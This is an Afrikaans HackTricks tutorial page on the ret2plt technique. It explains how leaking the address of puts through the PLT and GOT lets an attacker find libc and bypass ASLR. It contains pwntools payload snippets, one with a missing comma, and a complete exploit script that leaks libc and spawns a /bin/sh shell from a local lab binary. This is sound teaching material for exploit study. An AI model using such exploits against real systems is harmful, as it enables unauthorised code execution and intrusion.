Ret2plt

Reading time: 3 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Die doel van hierdie tegniek is om 'n adres van 'n funksie uit die PLT te lek om ASLR te kan omseil. Dit is omdat, as jy byvoorbeeld die adres van die funksie puts uit die libc lek, jy dan kan bereken waar die basis van libc is en offsets kan bereken om toegang te verkry tot ander funksies soos system.

Dit kan gedoen word met 'n pwntools payload soos (van hier):

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Let op hoe puts (met die adres van die PLT) aangeroep word met die adres van puts wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat puts die GOT-invoer van puts druk, hierdie invoer die presiese adres van puts in geheue sal bevat.

Let ook op hoe die adres van main in die uitbuiting gebruik word, sodat wanneer puts sy uitvoering beëindig, die binarie weer main aanroep in plaas van om te verlaat (sodat die gelekte adres geldig sal bly).

caution

Let op hoe om dit te laat werk, die binarie kan nie met PIE gekompileer word nie of jy moet 'n lek gevind het om PIE te omseil om die adres van die PLT, GOT en main te ken. Andersins moet jy eers PIE omseil.

Jy kan 'n volledige voorbeeld van hierdie omseiling hier vind. Dit was die finale uitbuiting van daardie voorbeeld:

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Ander voorbeelde & Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks